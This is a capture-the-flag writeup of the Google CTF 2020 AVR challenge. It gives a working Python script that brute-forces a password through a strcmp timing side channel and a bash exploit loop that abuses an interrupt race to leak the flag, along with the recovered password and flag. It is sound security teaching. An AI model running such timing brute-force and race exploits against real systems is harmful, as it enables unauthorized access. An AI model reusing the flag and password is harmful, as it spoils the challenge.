Trickery Index

Google CTF 2020 - AVR writeup

Posted at — Aug 28, 2020

We found this old terminal with access to some top secret data, but it’s secured by passwords. Can you break in anyway?

The full source to the challenge is generously provided, along with the patch for simavr that makes it easier to use its example simduino board (on which the challenge is based on) in the console, fully simulating the UART with stdin/stdout.

The problem is visibly divided into two main parts: logging in to the device successfully and getting around the second password check preventing the access to the actual flag. There are no obvious bugs that would allow us to hijack execution, and the buffers used seem to be secure enough.

We can log in, however, by employing a timing attack against strcmp in

//...

if (strcmp(buf, "agent") == 0 && strcmp(buf+256, correctpass) == 0) {
    printf("Access granted.\n");
    break;
}

//...

As strcmp goes through the characters in sequence and fails right after there is a discrepancy, with careful measurement we can tell how many of the supplied characters of buf+256 were correct, and bruteforce the full password symbol by symbol as a result.

While usually this would present a much more arduous challenge given that we have to do it over the network, the authors helpfully provide us with the Uptime metric on every attempt, making it possible to measure time of execution accurately. It still has a little bit of drift, presumably following from the interrupts happening, so it’s better to take several samples, remembering the longest time, and to get them all at the first prompt, minimizing the inaccuracies. Better to break it into threads to make things faster:

#!/usr/bin/python3
import re
import statistics
import sys
from pwn import *
from multiprocessing import Pool

context.log_level = 'error'

def f(job):
    
    c, prefix = job
    password = prefix + c
    times = []
    found = False
    for i in range(5):
        conn = remote('avr.2020.ctfcompetition.com', 1337)
        conn.send(b'\nagent\n' + password.encode('ascii') + b'\n')

        data = conn.recvuntil([b'Wrong user/password', b'Access granted'], timeout=10)
        if (b'Access granted') in data:
            print('Password found!')
            print(password)
            found = True
            break
            
        u1 = int(re.findall(b'Uptime: ([\d]+)us', data)[0])
        data = conn.recvuntil([b'Login:'], timeout=10)
        conn.close()
        u2 = int(re.findall(b'Uptime: ([\d]+)us', data)[0])
        times += [u2 - u1]

    return c, times, found

def bf():

    password_prefix = ''
    next_mtime = None
    p = Pool(20)
    while True:
        times = {}

        jobs = [(c, password_prefix) for c in string.ascii_letters + string.digits + string.punctuation]
        
        for c, ts, found in p.map(f, jobs):
            if found:
                return
            times[c] = ts

        mtimes = {k: max(times[k]) for k in times.keys()}
        mmed = statistics.median(mtimes.values())
        
        next_c = max([(mtimes[k], k) for k in mtimes.keys() if mtimes[k] > mmed])[1]
        next_mtime = mtimes[next_c]
        print(next_c, next_mtime, mmed)
        password_prefix += next_c

bf()

It should take just under five minutes to get this done:

ri@ri-base-lab:~/work/ctf/gctf2020/avr$ time python3 bf.py
d 16423 16415.0
o 16573 16565.0
N 16723 16715.0
O 16889 16881.0
T 17073 17065.0
l 17257 17249.0
4 17441 17433.0
u 17625 17617.0
n 17809 17801.0
c 17993 17985.0
h 18178 18169.0
_ 18361 18353.0
m 18545 18537.0
i 18729 18721.0
s 18913 18905.0
s 19097 19089.0
i 19281 19273.0
1 19465 19457.0
e 19649 19641.0
s 19833 19825.0
Password found!
doNOTl4unch_missi1es!

real	4m42.501s
user	0m19.064s
sys	0m16.113s

Having logged in, we get to the hard part: the next password check, done correctly, is time-independent, so we have to actually bypass it somehow.

//...

printf("Enter top secret data access code: ");
read_data(buf);
char pw_bad = 0;
for (int i = 0; top_secret_password[i]; i++) {
            pw_bad |= top_secret_password[i]^buf[i];
}
if (pw_bad) {
            printf("Access denied.\n");
            break;
}
printf("Access granted.\nCopying top secret data...\n");
timer_on_off(1);
while (TCCR1B);
printf("Done.\n");
break;

//...

All the success does there though is enabling the same timer interrupt that handled the login timeout. This time, though, the logged_in global variable being on, it would rewrite the secret variable, which is accessible to us, with the flag over time. That means that if we either make logged_in not equal zero while the timer is working during the first password prompt, or manage to re-enable the timer without entering the second password after logged_in is set, we can just wait for the flag to replace the secret.

Further, looking into the timer_on_off() function more carefully, we notice that it doesn’t actually turn the timer overflow interrupt off (previously set with TIMSK1 = (1<<TOIE1)) but only clears TCCR1B, which would stop the timer from ticking. So the exact part where the logged_in gets set instantly becomes that more interesting:

//...
cli();
timer_on_off(0);
sei();

logged_in = 1;
//...

In AVR, cli() would disable interrupts globally, but the interrupt queue, holding up to one of them for each registered source, would still be left intact and get processed after sei() happens. That doesn’t work if the interrupt source is disabled in the meantime of course, to prevent all kinds of extremely subtle bugs from cropping up; but as we already know that the timer doesn’t get disabled correctly, it would appear that we have one of those same bugs at our convenience.

Note also that while the timer would be effectively turned off by the point where the delayed interrupt happens, it is turned on right back in that same interrupt, so it can happily go on with divulging the challenge’s secrets:

//...
ISR(TIMER1_OVF_vect) {
	if (!logged_in) {
	    //...
    }
	else {
	        // If logged in, timer is used to securely copy top secret data.
	        secret[top_secret_index] = top_secret_data[top_secret_index];
	        timer_on_off(top_secret_data[top_secret_index]);
	        top_secret_index++;
	}
}
//...

So, in theory, if we manage to get punctual enough so that there’s a timer oveflow interrupt queued up when that cli() occurs, we’ve got the flag in the bag; in practice, though, we still need a good way to predictably fine-tune the delay to get it just right.

Let’s start with putting a printf("TIMER\n") at the start of the interrupt, put the doNOTl4unchmissi1es! in as the correct agent password in our copy to match timings exactly, recompile the challenge (the supplied Makefile makes it easy for us) and try to hone in on the right moment. First, we’ll see if the interrupt triggers before we manage to log in:

ri@ri-base-lab:~/work/ctf/gctf2020/avr$ echo -ne '\nagent\ndoNOTl4unch_missi1es!\n4\n' | make run
simavr/examples/board_simduino/obj-x86_64-linux-gnu/simduino.elf code.hex
Initialized.
Welcome to secret military database. Press ENTER to continue.
Timer: on.
Uptime: 2370us
Login: Password: Access granted.
Timer: off.
Quitting...

Doesn’t look like it - so we’ll have to delay this part by, say, making an invalid login attempt, controlling the delay by manipulating the length of the supplied password (while it doesn’t matter for strcmp, it will make scanf run longer). We have to remember that it can’t run past 200 characters specified in the program though, so we might have to do this more than once, but let’s try this:

#!/bin/bash
for n in $(seq 1 200); do
    payload=$(printf '1%.0s' $(seq 1 $n))
    res=$(echo -ne "\nagent\n$payload\nagent\ndoNOTl4unch_missi1es!\n4\n" | make run)

    if [[ ! -z "$(echo $res | grep TIMER)" ]]; then
        echo $n
        echo $res
    fi
done

Running the script, we get the first hit at 167 characters, with the last Uptime of 48106s:

ri@ri-base-lab:~/work/ctf/gctf2020/avr$ bash test.sh
167
simavr/examples/board_simduino/obj-x86_64-linux-gnu/simduino.elf code.hex Initialized. Welcome to secret military database. Press ENTER to continue. Timer: on. Uptime: 2370us Login: Password: Wrong user/password. Timer: on. Uptime: 48106us Login: Password: Access granted. TIMER Timer: on.Quitting... TIMER

We can also see it printing Timer: on after the successful login, so it does work locally!

The minor drift we’ve seen affecting the timer previously can still mess with us though, so we should probably just try to break in until we do, and this time also leak the flag by sending enough read secret requests to give the timer the chance to copy it:

#!/bin/bash
while true; do
    payload=$(printf '1%.0s' $(seq 1 167))
    payload2=$(printf '2\n%.0s' $(seq 1 150)) # read secret

    flag=$(echo -ne "\nagent\n$payload\nagent\ndoNOTl4unch_missi1es!\n$payload2\n4\n" | nc avr.2020.ctfcompetition.com 1337)

    if [[ ! -z "$(echo $flag | grep CTF\{)" ]]; then
        printf "$flag" | grep CTF\{
        break
    fi
done

And running it, almost immediately we see the flag being revealed character by character, again:

ri@ri-base-lab:~/work/ctf/gctf2020/avr$ bash exp.sh
FLAG IS CTF{eived message: ATTACK AT DAWN
FLAG IS CTF{eived message: ATTACK AT DAWN
FLAG IS CTF{1ived message: ATTACK AT DAWN
FLAG IS CTF{1ived message: ATTACK AT DAWN
FLAG IS CTF{1nved message: ATTACK AT DAWN
FLAG IS CTF{1nved message: ATTACK AT DAWN
FLAG IS CTF{1nved message: ATTACK AT DAWN
FLAG IS CTF{1nv1d message: ATTACK AT DAWN
FLAG IS CTF{1nv1s message: ATTACK AT DAWN
FLAG IS CTF{1nv1s message: ATTACK AT DAWN
FLAG IS CTF{1nv1simessage: ATTACK AT DAWN
FLAG IS CTF{1nv1sibessage: ATTACK AT DAWN
FLAG IS CTF{1nv1sibessage: ATTACK AT DAWN
FLAG IS CTF{1nv1siblssage: ATTACK AT DAWN
FLAG IS CTF{1nv1siblssage: ATTACK AT DAWN
FLAG IS CTF{1nv1sibl3sage: ATTACK AT DAWN
FLAG IS CTF{1nv1sibl3_age: ATTACK AT DAWN
FLAG IS CTF{1nv1sibl3_age: ATTACK AT DAWN
FLAG IS CTF{1nv1sibl3_sge: ATTACK AT DAWN
FLAG IS CTF{1nv1sibl3_see: ATTACK AT DAWN
FLAG IS CTF{1nv1sibl3_see: ATTACK AT DAWN
FLAG IS CTF{1nv1sibl3_sei: ATTACK AT DAWN
FLAG IS CTF{1nv1sibl3_sei_ ATTACK AT DAWN
FLAG IS CTF{1nv1sibl3_sei_ ATTACK AT DAWN
FLAG IS CTF{1nv1sibl3_sei_rATTACK AT DAWN
FLAG IS CTF{1nv1sibl3_sei_r4TTACK AT DAWN
FLAG IS CTF{1nv1sibl3_sei_r4TTACK AT DAWN
FLAG IS CTF{1nv1sibl3_sei_r4cTACK AT DAWN
FLAG IS CTF{1nv1sibl3_sei_r4cTACK AT DAWN
FLAG IS CTF{1nv1sibl3_sei_r4c3ACK AT DAWN
FLAG IS CTF{1nv1sibl3_sei_r4c3_CK AT DAWN
FLAG IS CTF{1nv1sibl3_sei_r4c3_CK AT DAWN
FLAG IS CTF{1nv1sibl3_sei_r4c3_cK AT DAWN
FLAG IS CTF{1nv1sibl3_sei_r4c3_c0 AT DAWN
FLAG IS CTF{1nv1sibl3_sei_r4c3_c0 AT DAWN
FLAG IS CTF{1nv1sibl3_sei_r4c3_c0nAT DAWN
FLAG IS CTF{1nv1sibl3_sei_r4c3_c0ndT DAWN
FLAG IS CTF{1nv1sibl3_sei_r4c3_c0ndT DAWN
FLAG IS CTF{1nv1sibl3_sei_r4c3_c0ndi DAWN
FLAG IS CTF{1nv1sibl3_sei_r4c3_c0ndi DAWN
FLAG IS CTF{1nv1sibl3_sei_r4c3_c0ndi7DAWN
FLAG IS CTF{1nv1sibl3_sei_r4c3_c0ndi7iAWN
FLAG IS CTF{1nv1sibl3_sei_r4c3_c0ndi7iAWN
FLAG IS CTF{1nv1sibl3_sei_r4c3_c0ndi7i0WN
FLAG IS CTF{1nv1sibl3_sei_r4c3_c0ndi7i0nN
FLAG IS CTF{1nv1sibl3_sei_r4c3_c0ndi7i0nN
FLAG IS CTF{1nv1sibl3_sei_r4c3_c0ndi7i0n}
FLAG IS CTF{1nv1sibl3_sei_r4c3_c0ndi7i0n}.
FLAG IS CTF{1nv1sibl3_sei_r4c3_c0ndi7i0n}.
FLAG IS CTF{1nv1sibl3_sei_r4c3_c0ndi7i0n}.
FLAG IS CTF{1nv1sibl3_sei_r4c3_c0ndi7i0n}.
FLAG IS CTF{1nv1sibl3_sei_r4c3_c0ndi7i0n}.
FLAG IS CTF{1nv1sibl3_sei_r4c3_c0ndi7i0n}.
FLAG IS CTF{1nv1sibl3_sei_r4c3_c0ndi7i0n}.
FLAG IS CTF{1nv1sibl3_sei_r4c3_c0ndi7i0n}.
FLAG IS CTF{1nv1sibl3_sei_r4c3_c0ndi7i0n}.
FLAG IS CTF{1nv1sibl3_sei_r4c3_c0ndi7i0n}.
FLAG IS CTF{1nv1sibl3_sei_r4c3_c0ndi7i0n}.
FLAG IS CTF{1nv1sibl3_sei_r4c3_c0ndi7i0n}.
FLAG IS CTF{1nv1sibl3_sei_r4c3_c0ndi7i0n}.

And we’re done!

This one required some good amount of digging through AVR resources for the second part while being outwardly simple, and getting the timing right for both attacks presented more of a challenge than I’d like to admit. Arseny Smalyuk, my teammate at MSLC, provided the necessary insight for the interrupt handling and managed to get at the flag first during the competition.